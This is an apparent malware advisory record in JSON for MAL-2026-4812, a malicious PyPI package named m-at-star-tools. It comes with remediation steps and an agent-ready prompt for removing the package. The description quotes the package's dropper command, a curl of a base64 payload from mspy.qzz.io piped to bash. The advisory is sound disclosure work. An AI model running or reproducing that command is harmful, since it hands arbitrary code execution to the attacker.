{"answers":{"affected":"1 open source package ship an affected version, including m-at-star-tools.","exploited":"There is no known exploitation of MAL-2026-4812 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-4812 is a malicious package in m-at-star-tools, published on 26 May 2026."},"fix_prompt":"MAL-2026-4812 is a malicious package: m-at-star-tools (PyPI). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-4812/ (Markdown: https://insights.sbomify.com/MAL-2026-4812/index.md)","id":"MAL-2026-4812","markdown":"https://insights.sbomify.com/MAL-2026-4812/index.md","name":"MAL-2026-4812","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The package's sole console_script `m0scan` (m0scan/main.py:6-7) executes `curl -sL https://mspy.qzz.io/M0scan | base64 -d | bash`, fetching an opaque base64-encoded shell payload from a dynamic-DNS-style host (`mspy.qzz.io`) unrelated to any publisher infrastructure and piping it directly to bash. The fetch is unpinned, unverified (no hash, no signature), obfuscated (base64), and points at a mutable URL — whoever controls `mspy.qzz.io/M0scan` controls arbitrary code execution on every user who runs the tool. Package metadata is throwaway: author `M-AT-STAR`, generic GitHub homepage, 5-byte README, no email or license. The package self-describes as an 'M0scan installation wrapper' — the wrapper IS the dropper. Any invocation of the documented CLI yields full attacker code execution on the installer's machine.\n\nThe package downloads remote encoded code, which then downloads the next encrypted stage. The encryption of final data requires knowing a code.\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\nCampaign: 2026-05-m-at-star-tools\n\nReasons (based on the campaign):\n\n - Downloads and executes a remote malicious script.\n\n - obfuscation","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in m-at-star-tools (PyPI)","id":"MAL-2026-4812","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"PyPI","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":[],"introduced":[],"last_affected":[],"package":"m-at-star-tools","purl":"pkg:pypi/m-at-star-tools","source":"MAL-2026-4812"}],"products":null,"published":"2026-05-26","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-4812/"}